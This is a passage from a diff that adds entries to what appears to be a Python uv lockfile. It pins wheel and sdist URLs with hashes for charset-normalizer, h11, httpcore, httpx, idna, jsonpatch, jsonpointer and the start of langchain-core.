+    { url = "https://files.pythonhosted.org/packages/42/f0/3dd1045c47f4a4604df85ec18ad093912ae1344ac706993aff91d38773a2/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e1421b502d83040e6d7fb2fb18dff63957f720da3d77b2fbd3187ceb63755d7b", size = 229031, upload-time = "2026-04-02T09:26:26.865Z" },
+    { url = "https://files.pythonhosted.org/packages/dc/67/675a46eb016118a2fbde5a277a5d15f4f69d5f3f5f338e5ee2f8948fcf43/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:edac0f1ab77644605be2cbba52e6b7f630731fc42b34cb0f634be1a6eface56a", size = 225239, upload-time = "2026-04-02T09:26:28.044Z" },
+    { url = "https://files.pythonhosted.org/packages/4b/f8/d0118a2f5f23b02cd166fa385c60f9b0d4f9194f574e2b31cef350ad7223/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5649fd1c7bade02f320a462fdefd0b4bd3ce036065836d4f42e0de958038e116", size = 216589, upload-time = "2026-04-02T09:26:29.239Z" },
+    { url = "https://files.pythonhosted.org/packages/b1/f1/6d2b0b261b6c4ceef0fcb0d17a01cc5bc53586c2d4796fa04b5c540bc13d/charset_normalizer-3.4.7-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:203104ed3e428044fd943bc4bf45fa73c0730391f9621e37fe39ecf477b128cb", size = 202733, upload-time = "2026-04-02T09:26:30.5Z" },
+    { url = "https://files.pythonhosted.org/packages/6f/c0/7b1f943f7e87cc3db9626ba17807d042c38645f0a1d4415c7a14afb5591f/charset_normalizer-3.4.7-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:298930cec56029e05497a76988377cbd7457ba864beeea92ad7e844fe74cd1f1", size = 212652, upload-time = "2026-04-02T09:26:31.709Z" },
+    { url = "https://files.pythonhosted.org/packages/38/dd/5a9ab159fe45c6e72079398f277b7d2b523e7f716acc489726115a910097/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:708838739abf24b2ceb208d0e22403dd018faeef86ddac04319a62ae884c4f15", size = 211229, upload-time = "2026-04-02T09:26:33.282Z" },
+    { url = "https://files.pythonhosted.org/packages/d5/ff/531a1cad5ca855d1c1a8b69cb71abfd6d85c0291580146fda7c82857caa1/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:0f7eb884681e3938906ed0434f20c63046eacd0111c4ba96f27b76084cd679f5", size = 203552, upload-time = "2026-04-02T09:26:34.845Z" },
+    { url = "https://files.pythonhosted.org/packages/c1/4c/a5fb52d528a8ca41f7598cb619409ece30a169fbdf9cdce592e53b46c3a6/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:4dc1e73c36828f982bfe79fadf5919923f8a6f4df2860804db9a98c48824ce8d", size = 230806, upload-time = "2026-04-02T09:26:36.152Z" },
+    { url = "https://files.pythonhosted.org/packages/59/7a/071feed8124111a32b316b33ae4de83d36923039ef8cf48120266844285b/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:aed52fea0513bac0ccde438c188c8a471c4e0f457c2dd20cdbf6ea7a450046c7", size = 212316, upload-time = "2026-04-02T09:26:37.672Z" },
+    { url = "https://files.pythonhosted.org/packages/fd/35/f7dba3994312d7ba508e041eaac39a36b120f32d4c8662b8814dab876431/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:fea24543955a6a729c45a73fe90e08c743f0b3334bbf3201e6c4bc1b0c7fa464", size = 227274, upload-time = "2026-04-02T09:26:38.93Z" },
+    { url = "https://files.pythonhosted.org/packages/8a/2d/a572df5c9204ab7688ec1edc895a73ebded3b023bb07364710b05dd1c9be/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:bb6d88045545b26da47aa879dd4a89a71d1dce0f0e549b1abcb31dfe4a8eac49", size = 218468, upload-time = "2026-04-02T09:26:40.17Z" },
+    { url = "https://files.pythonhosted.org/packages/86/eb/890922a8b03a568ca2f336c36585a4713c55d4d67bf0f0c78924be6315ca/charset_normalizer-3.4.7-cp312-cp312-win32.whl", hash = "sha256:2257141f39fe65a3fdf38aeccae4b953e5f3b3324f4ff0daf9f15b8518666a2c", size = 148460, upload-time = "2026-04-02T09:26:41.416Z" },
+    { url = "https://files.pythonhosted.org/packages/35/d9/0e7dffa06c5ab081f75b1b786f0aefc88365825dfcd0ac544bdb7b2b6853/charset_normalizer-3.4.7-cp312-cp312-win_amd64.whl", hash = "sha256:5ed6ab538499c8644b8a3e18debabcd7ce684f3fa91cf867521a7a0279cab2d6", size = 159330, upload-time = "2026-04-02T09:26:42.554Z" },
+    { url = "https://files.pythonhosted.org/packages/9e/5d/481bcc2a7c88ea6b0878c299547843b2521ccbc40980cb406267088bc701/charset_normalizer-3.4.7-cp312-cp312-win_arm64.whl", hash = "sha256:56be790f86bfb2c98fb742ce566dfb4816e5a83384616ab59c49e0604d49c51d", size = 147828, upload-time = "2026-04-02T09:26:44.075Z" },
+    { url = "https://files.pythonhosted.org/packages/c1/3b/66777e39d3ae1ddc77ee606be4ec6d8cbd4c801f65e5a1b6f2b11b8346dd/charset_normalizer-3.4.7-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:f496c9c3cc02230093d8330875c4c3cdfc3b73612a5fd921c65d39cbcef08063", size = 309627, upload-time = "2026-04-02T09:26:45.198Z" },
+    { url = "https://files.pythonhosted.org/packages/2e/4e/b7f84e617b4854ade48a1b7915c8ccfadeba444d2a18c291f696e37f0d3b/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0ea948db76d31190bf08bd371623927ee1339d5f2a0b4b1b4a4439a65298703c", size = 207008, upload-time = "2026-04-02T09:26:46.824Z" },
+    { url = "https://files.pythonhosted.org/packages/c4/bb/ec73c0257c9e11b268f018f068f5d00aa0ef8c8b09f7753ebd5f2880e248/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a277ab8928b9f299723bc1a2dabb1265911b1a76341f90a510368ca44ad9ab66", size = 228303, upload-time = "2026-04-02T09:26:48.397Z" },
+    { url = "https://files.pythonhosted.org/packages/85/fb/32d1f5033484494619f701e719429c69b766bfc4dbc61aa9e9c8c166528b/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:3bec022aec2c514d9cf199522a802bd007cd588ab17ab2525f20f9c34d067c18", size = 224282, upload-time = "2026-04-02T09:26:49.684Z" },
+    { url = "https://files.pythonhosted.org/packages/fa/07/330e3a0dda4c404d6da83b327270906e9654a24f6c546dc886a0eb0ffb23/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e044c39e41b92c845bc815e5ae4230804e8e7bc29e399b0437d64222d92809dd", size = 215595, upload-time = "2026-04-02T09:26:50.915Z" },
+    { url = "https://files.pythonhosted.org/packages/e3/7c/fc890655786e423f02556e0216d4b8c6bcb6bdfa890160dc66bf52dee468/charset_normalizer-3.4.7-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:f495a1652cf3fbab2eb0639776dad966c2fb874d79d87ca07f9d5f059b8bd215", size = 201986, upload-time = "2026-04-02T09:26:52.197Z" },
+    { url = "https://files.pythonhosted.org/packages/d8/97/bfb18b3db2aed3b90cf54dc292ad79fdd5ad65c4eae454099475cbeadd0d/charset_normalizer-3.4.7-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e712b419df8ba5e42b226c510472b37bd57b38e897d3eca5e8cfd410a29fa859", size = 211711, upload-time = "2026-04-02T09:26:53.49Z" },
+    { url = "https://files.pythonhosted.org/packages/6f/a5/a581c13798546a7fd557c82614a5c65a13df2157e9ad6373166d2a3e645d/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:7804338df6fcc08105c7745f1502ba68d900f45fd770d5bdd5288ddccb8a42d8", size = 210036, upload-time = "2026-04-02T09:26:54.975Z" },
+    { url = "https://files.pythonhosted.org/packages/8c/bf/b3ab5bcb478e4193d517644b0fb2bf5497fbceeaa7a1bc0f4d5b50953861/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:481551899c856c704d58119b5025793fa6730adda3571971af568f66d2424bb5", size = 202998, upload-time = "2026-04-02T09:26:56.303Z" },
+    { url = "https://files.pythonhosted.org/packages/e7/4e/23efd79b65d314fa320ec6017b4b5834d5c12a58ba4610aa353af2e2f577/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:f59099f9b66f0d7145115e6f80dd8b1d847176df89b234a5a6b3f00437aa0832", size = 230056, upload-time = "2026-04-02T09:26:57.554Z" },
+    { url = "https://files.pythonhosted.org/packages/b9/9f/1e1941bc3f0e01df116e68dc37a55c4d249df5e6fa77f008841aef68264f/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:f59ad4c0e8f6bba240a9bb85504faa1ab438237199d4cce5f622761507b8f6a6", size = 211537, upload-time = "2026-04-02T09:26:58.843Z" },
+    { url = "https://files.pythonhosted.org/packages/80/0f/088cbb3020d44428964a6c97fe1edfb1b9550396bf6d278330281e8b709c/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:3dedcc22d73ec993f42055eff4fcfed9318d1eeb9a6606c55892a26964964e48", size = 226176, upload-time = "2026-04-02T09:27:00.437Z" },
+    { url = "https://files.pythonhosted.org/packages/6a/9f/130394f9bbe06f4f63e22641d32fc9b202b7e251c9aef4db044324dac493/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:64f02c6841d7d83f832cd97ccf8eb8a906d06eb95d5276069175c696b024b60a", size = 217723, upload-time = "2026-04-02T09:27:02.021Z" },
+    { url = "https://files.pythonhosted.org/packages/73/55/c469897448a06e49f8fa03f6caae97074fde823f432a98f979cc42b90e69/charset_normalizer-3.4.7-cp313-cp313-win32.whl", hash = "sha256:4042d5c8f957e15221d423ba781e85d553722fc4113f523f2feb7b188cc34c5e", size = 148085, upload-time = "2026-04-02T09:27:03.192Z" },
+    { url = "https://files.pythonhosted.org/packages/5d/78/1b74c5bbb3f99b77a1715c91b3e0b5bdb6fe302d95ace4f5b1bec37b0167/charset_normalizer-3.4.7-cp313-cp313-win_amd64.whl", hash = "sha256:3946fa46a0cf3e4c8cb1cc52f56bb536310d34f25f01ca9b6c16afa767dab110", size = 158819, upload-time = "2026-04-02T09:27:04.454Z" },
+    { url = "https://files.pythonhosted.org/packages/68/86/46bd42279d323deb8687c4a5a811fd548cb7d1de10cf6535d099877a9a9f/charset_normalizer-3.4.7-cp313-cp313-win_arm64.whl", hash = "sha256:80d04837f55fc81da168b98de4f4b797ef007fc8a79ab71c6ec9bc4dd662b15b", size = 147915, upload-time = "2026-04-02T09:27:05.971Z" },
+    { url = "https://files.pythonhosted.org/packages/97/c8/c67cb8c70e19ef1960b97b22ed2a1567711de46c4ddf19799923adc836c2/charset_normalizer-3.4.7-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:c36c333c39be2dbca264d7803333c896ab8fa7d4d6f0ab7edb7dfd7aea6e98c0", size = 309234, upload-time = "2026-04-02T09:27:07.194Z" },
+    { url = "https://files.pythonhosted.org/packages/99/85/c091fdee33f20de70d6c8b522743b6f831a2f1cd3ff86de4c6a827c48a76/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1c2aed2e5e41f24ea8ef1590b8e848a79b56f3a5564a65ceec43c9d692dc7d8a", size = 208042, upload-time = "2026-04-02T09:27:08.749Z" },
+    { url = "https://files.pythonhosted.org/packages/87/1c/ab2ce611b984d2fd5d86a5a8a19c1ae26acac6bad967da4967562c75114d/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:54523e136b8948060c0fa0bc7b1b50c32c186f2fceee897a495406bb6e311d2b", size = 228706, upload-time = "2026-04-02T09:27:09.951Z" },
+    { url = "https://files.pythonhosted.org/packages/a8/29/2b1d2cb00bf085f59d29eb773ce58ec2d325430f8c216804a0a5cd83cbca/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:715479b9a2802ecac752a3b0efa2b0b60285cf962ee38414211abdfccc233b41", size = 224727, upload-time = "2026-04-02T09:27:11.175Z" },
+    { url = "https://files.pythonhosted.org/packages/47/5c/032c2d5a07fe4d4855fea851209cca2b6f03ebeb6d4e3afdb3358386a684/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:bd6c2a1c7573c64738d716488d2cdd3c00e340e4835707d8fdb8dc1a66ef164e", size = 215882, upload-time = "2026-04-02T09:27:12.446Z" },
+    { url = "https://files.pythonhosted.org/packages/2c/c2/356065d5a8b78ed04499cae5f339f091946a6a74f91e03476c33f0ab7100/charset_normalizer-3.4.7-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:c45e9440fb78f8ddabcf714b68f936737a121355bf59f3907f4e17721b9d1aae", size = 200860, upload-time = "2026-04-02T09:27:13.721Z" },
+    { url = "https://files.pythonhosted.org/packages/0c/cd/a32a84217ced5039f53b29f460962abb2d4420def55afabe45b1c3c7483d/charset_normalizer-3.4.7-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:3534e7dcbdcf757da6b85a0bbf5b6868786d5982dd959b065e65481644817a18", size = 211564, upload-time = "2026-04-02T09:27:15.272Z" },
+    { url = "https://files.pythonhosted.org/packages/44/86/58e6f13ce26cc3b8f4a36b94a0f22ae2f00a72534520f4ae6857c4b81f89/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:e8ac484bf18ce6975760921bb6148041faa8fef0547200386ea0b52b5d27bf7b", size = 211276, upload-time = "2026-04-02T09:27:16.834Z" },
+    { url = "https://files.pythonhosted.org/packages/8f/fe/d17c32dc72e17e155e06883efa84514ca375f8a528ba2546bee73fc4df81/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:a5fe03b42827c13cdccd08e6c0247b6a6d4b5e3cdc53fd1749f5896adcdc2356", size = 201238, upload-time = "2026-04-02T09:27:18.229Z" },
+    { url = "https://files.pythonhosted.org/packages/6a/29/f33daa50b06525a237451cdb6c69da366c381a3dadcd833fa5676bc468b3/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:2d6eb928e13016cea4f1f21d1e10c1cebd5a421bc57ddf5b1142ae3f86824fab", size = 230189, upload-time = "2026-04-02T09:27:19.445Z" },
+    { url = "https://files.pythonhosted.org/packages/b6/6e/52c84015394a6a0bdcd435210a7e944c5f94ea1055f5cc5d56c5fe368e7b/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:e74327fb75de8986940def6e8dee4f127cc9752bee7355bb323cc5b2659b6d46", size = 211352, upload-time = "2026-04-02T09:27:20.79Z" },
+    { url = "https://files.pythonhosted.org/packages/8c/d7/4353be581b373033fb9198bf1da3cf8f09c1082561e8e922aa7b39bf9fe8/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:d6038d37043bced98a66e68d3aa2b6a35505dc01328cd65217cefe82f25def44", size = 227024, upload-time = "2026-04-02T09:27:22.063Z" },
+    { url = "https://files.pythonhosted.org/packages/30/45/99d18aa925bd1740098ccd3060e238e21115fffbfdcb8f3ece837d0ace6c/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:7579e913a5339fb8fa133f6bbcfd8e6749696206cf05acdbdca71a1b436d8e72", size = 217869, upload-time = "2026-04-02T09:27:23.486Z" },
+    { url = "https://files.pythonhosted.org/packages/5c/05/5ee478aa53f4bb7996482153d4bfe1b89e0f087f0ab6b294fcf92d595873/charset_normalizer-3.4.7-cp314-cp314-win32.whl", hash = "sha256:5b77459df20e08151cd6f8b9ef8ef1f961ef73d85c21a555c7eed5b79410ec10", size = 148541, upload-time = "2026-04-02T09:27:25.146Z" },
+    { url = "https://files.pythonhosted.org/packages/48/77/72dcb0921b2ce86420b2d79d454c7022bf5be40202a2a07906b9f2a35c97/charset_normalizer-3.4.7-cp314-cp314-win_amd64.whl", hash = "sha256:92a0a01ead5e668468e952e4238cccd7c537364eb7d851ab144ab6627dbbe12f", size = 159634, upload-time = "2026-04-02T09:27:26.642Z" },
+    { url = "https://files.pythonhosted.org/packages/c6/a3/c2369911cd72f02386e4e340770f6e158c7980267da16af8f668217abaa0/charset_normalizer-3.4.7-cp314-cp314-win_arm64.whl", hash = "sha256:67f6279d125ca0046a7fd386d01b311c6363844deac3e5b069b514ba3e63c246", size = 148384, upload-time = "2026-04-02T09:27:28.271Z" },
+    { url = "https://files.pythonhosted.org/packages/94/09/7e8a7f73d24dba1f0035fbbf014d2c36828fc1bf9c88f84093e57d315935/charset_normalizer-3.4.7-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:effc3f449787117233702311a1b7d8f59cba9ced946ba727bdc329ec69028e24", size = 330133, upload-time = "2026-04-02T09:27:29.474Z" },
+    { url = "https://files.pythonhosted.org/packages/8d/da/96975ddb11f8e977f706f45cddd8540fd8242f71ecdb5d18a80723dcf62c/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:fbccdc05410c9ee21bbf16a35f4c1d16123dcdeb8a1d38f33654fa21d0234f79", size = 216257, upload-time = "2026-04-02T09:27:30.793Z" },
+    { url = "https://files.pythonhosted.org/packages/e5/e8/1d63bf8ef2d388e95c64b2098f45f84758f6d102a087552da1485912637b/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:733784b6d6def852c814bce5f318d25da2ee65dd4839a0718641c696e09a2960", size = 234851, upload-time = "2026-04-02T09:27:32.44Z" },
+    { url = "https://files.pythonhosted.org/packages/9b/40/e5ff04233e70da2681fa43969ad6f66ca5611d7e669be0246c4c7aaf6dc8/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a89c23ef8d2c6b27fd200a42aa4ac72786e7c60d40efdc76e6011260b6e949c4", size = 233393, upload-time = "2026-04-02T09:27:34.03Z" },
+    { url = "https://files.pythonhosted.org/packages/be/c1/06c6c49d5a5450f76899992f1ee40b41d076aee9279b49cf9974d2f313d5/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6c114670c45346afedc0d947faf3c7f701051d2518b943679c8ff88befe14f8e", size = 223251, upload-time = "2026-04-02T09:27:35.369Z" },
+    { url = "https://files.pythonhosted.org/packages/2b/9f/f2ff16fb050946169e3e1f82134d107e5d4ae72647ec8a1b1446c148480f/charset_normalizer-3.4.7-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:a180c5e59792af262bf263b21a3c49353f25945d8d9f70628e73de370d55e1e1", size = 206609, upload-time = "2026-04-02T09:27:36.661Z" },
+    { url = "https://files.pythonhosted.org/packages/69/d5/a527c0cd8d64d2eab7459784fb4169a0ac76e5a6fc5237337982fd61347e/charset_normalizer-3.4.7-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:3c9a494bc5ec77d43cea229c4f6db1e4d8fe7e1bbffa8b6f0f0032430ff8ab44", size = 220014, upload-time = "2026-04-02T09:27:38.019Z" },
+    { url = "https://files.pythonhosted.org/packages/7e/80/8a7b8104a3e203074dc9aa2c613d4b726c0e136bad1cc734594b02867972/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8d828b6667a32a728a1ad1d93957cdf37489c57b97ae6c4de2860fa749b8fc1e", size = 218979, upload-time = "2026-04-02T09:27:39.37Z" },
+    { url = "https://files.pythonhosted.org/packages/02/9a/b759b503d507f375b2b5c153e4d2ee0a75aa215b7f2489cf314f4541f2c0/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:cf1493cd8607bec4d8a7b9b004e699fcf8f9103a9284cc94962cb73d20f9d4a3", size = 209238, upload-time = "2026-04-02T09:27:40.722Z" },
+    { url = "https://files.pythonhosted.org/packages/c2/4e/0f3f5d47b86bdb79256e7290b26ac847a2832d9a4033f7eb2cd4bcf4bb5b/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:0c96c3b819b5c3e9e165495db84d41914d6894d55181d2d108cc1a69bfc9cce0", size = 236110, upload-time = "2026-04-02T09:27:42.33Z" },
+    { url = "https://files.pythonhosted.org/packages/96/23/bce28734eb3ed2c91dcf93abeb8a5cf393a7b2749725030bb630e554fdd8/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:752a45dc4a6934060b3b0dab47e04edc3326575f82be64bc4fc293914566503e", size = 219824, upload-time = "2026-04-02T09:27:43.924Z" },
+    { url = "https://files.pythonhosted.org/packages/2c/6f/6e897c6984cc4d41af319b077f2f600fc8214eb2fe2d6bcb79141b882400/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:8778f0c7a52e56f75d12dae53ae320fae900a8b9b4164b981b9c5ce059cd1fcb", size = 233103, upload-time = "2026-04-02T09:27:45.348Z" },
+    { url = "https://files.pythonhosted.org/packages/76/22/ef7bd0fe480a0ae9b656189ec00744b60933f68b4f42a7bb06589f6f576a/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:ce3412fbe1e31eb81ea42f4169ed94861c56e643189e1e75f0041f3fe7020abe", size = 225194, upload-time = "2026-04-02T09:27:46.706Z" },
+    { url = "https://files.pythonhosted.org/packages/c5/a7/0e0ab3e0b5bc1219bd80a6a0d4d72ca74d9250cb2382b7c699c147e06017/charset_normalizer-3.4.7-cp314-cp314t-win32.whl", hash = "sha256:c03a41a8784091e67a39648f70c5f97b5b6a37f216896d44d2cdcb82615339a0", size = 159827, upload-time = "2026-04-02T09:27:48.053Z" },
+    { url = "https://files.pythonhosted.org/packages/7a/1d/29d32e0fb40864b1f878c7f5a0b343ae676c6e2b271a2d55cc3a152391da/charset_normalizer-3.4.7-cp314-cp314t-win_amd64.whl", hash = "sha256:03853ed82eeebbce3c2abfdbc98c96dc205f32a79627688ac9a27370ea61a49c", size = 174168, upload-time = "2026-04-02T09:27:49.795Z" },
+    { url = "https://files.pythonhosted.org/packages/de/32/d92444ad05c7a6e41fb2036749777c163baf7a0301a040cb672d6b2b1ae9/charset_normalizer-3.4.7-cp314-cp314t-win_arm64.whl", hash = "sha256:c35abb8bfff0185efac5878da64c45dafd2b37fb0383add1be155a763c1f083d", size = 153018, upload-time = "2026-04-02T09:27:51.116Z" },
+    { url = "https://files.pythonhosted.org/packages/db/8f/61959034484a4a7c527811f4721e75d02d653a35afb0b6054474d8185d4c/charset_normalizer-3.4.7-py3-none-any.whl", hash = "sha256:3dce51d0f5e7951f8bb4900c257dad282f49190fdbebecd4ba99bcc41fef404d", size = 61958, upload-time = "2026-04-02T09:28:37.794Z" },
+]
+
+[[package]]
+name = "h11"
+version = "0.16.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/01/ee/02a2c011bdab74c6fb3c75474d40b3052059d95df7e73351460c8588d963/h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1", size = 101250, upload-time = "2025-04-24T03:35:25.427Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/04/4b/29cac41a4d98d144bf5f6d33995617b185d14b22401f75ca86f384e87ff1/h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86", size = 37515, upload-time = "2025-04-24T03:35:24.344Z" },
+]
+
+[[package]]
+name = "httpcore"
+version = "1.0.9"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "certifi" },
+    { name = "h11" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/06/94/82699a10bca87a5556c9c59b5963f2d039dbd239f25bc2a63907a05a14cb/httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8", size = 85484, upload-time = "2025-04-24T22:06:22.219Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/7e/f5/f66802a942d491edb555dd61e3a9961140fd64c90bce1eafd741609d334d/httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55", size = 78784, upload-time = "2025-04-24T22:06:20.566Z" },
+]
+
+[[package]]
+name = "httpx"
+version = "0.28.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "anyio" },
+    { name = "certifi" },
+    { name = "httpcore" },
+    { name = "idna" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/b1/df/48c586a5fe32a0f01324ee087459e112ebb7224f646c0b5023f5e79e9956/httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc", size = 141406, upload-time = "2024-12-06T15:37:23.222Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/2a/39/e50c7c3a983047577ee07d2a9e53faf5a69493943ec3f6a384bdc792deb2/httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad", size = 73517, upload-time = "2024-12-06T15:37:21.509Z" },
+]
+
+[[package]]
+name = "idna"
+version = "3.11"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/6f/6d/0703ccc57f3a7233505399edb88de3cbd678da106337b9fcde432b65ed60/idna-3.11.tar.gz", hash = "sha256:795dafcc9c04ed0c1fb032c2aa73654d8e8c5023a7df64a53f39190ada629902", size = 194582, upload-time = "2025-10-12T14:55:20.501Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/0e/61/66938bbb5fc52dbdf84594873d5b51fb1f7c7794e9c0f5bd885f30bc507b/idna-3.11-py3-none-any.whl", hash = "sha256:771a87f49d9defaf64091e6e6fe9c18d4833f140bd19464795bc32d966ca37ea", size = 71008, upload-time = "2025-10-12T14:55:18.883Z" },
+]
+
+[[package]]
+name = "jsonpatch"
+version = "1.33"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "jsonpointer" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/42/78/18813351fe5d63acad16aec57f94ec2b70a09e53ca98145589e185423873/jsonpatch-1.33.tar.gz", hash = "sha256:9fcd4009c41e6d12348b4a0ff2563ba56a2923a7dfee731d004e212e1ee5030c", size = 21699, upload-time = "2023-06-26T12:07:29.144Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/73/07/02e16ed01e04a374e644b575638ec7987ae846d25ad97bcc9945a3ee4b0e/jsonpatch-1.33-py2.py3-none-any.whl", hash = "sha256:0ae28c0cd062bbd8b8ecc26d7d164fbbea9652a1a3693f3b956c1eae5145dade", size = 12898, upload-time = "2023-06-16T21:01:28.466Z" },
+]
+
+[[package]]
+name = "jsonpointer"
+version = "3.1.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/18/c7/af399a2e7a67fd18d63c40c5e62d3af4e67b836a2107468b6a5ea24c4304/jsonpointer-3.1.1.tar.gz", hash = "sha256:0b801c7db33a904024f6004d526dcc53bbb8a4a0f4e32bfd10beadf60adf1900", size = 9068, upload-time = "2026-03-23T22:32:32.458Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/9e/6a/a83720e953b1682d2d109d3c2dbb0bc9bf28cc1cbc205be4ef4be5da709d/jsonpointer-3.1.1-py3-none-any.whl", hash = "sha256:8ff8b95779d071ba472cf5bc913028df06031797532f08a7d5b602d8b2a488ca", size = 7659, upload-time = "2026-03-23T22:32:31.568Z" },
+]
+
+[[package]]
+name = "langchain-core"
+version = "1.3.3"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "jsonpatch" },
+    { name = "langchain-protocol" },
+    { name = "langsmith" },
+    { name = "packaging" },
+    { name = "pydantic" },
+    { name = "pyyaml" },
+    { name = "tenacity" },
+    { name = "typing-extensions" },
+    { name = "uuid-utils" },
+]
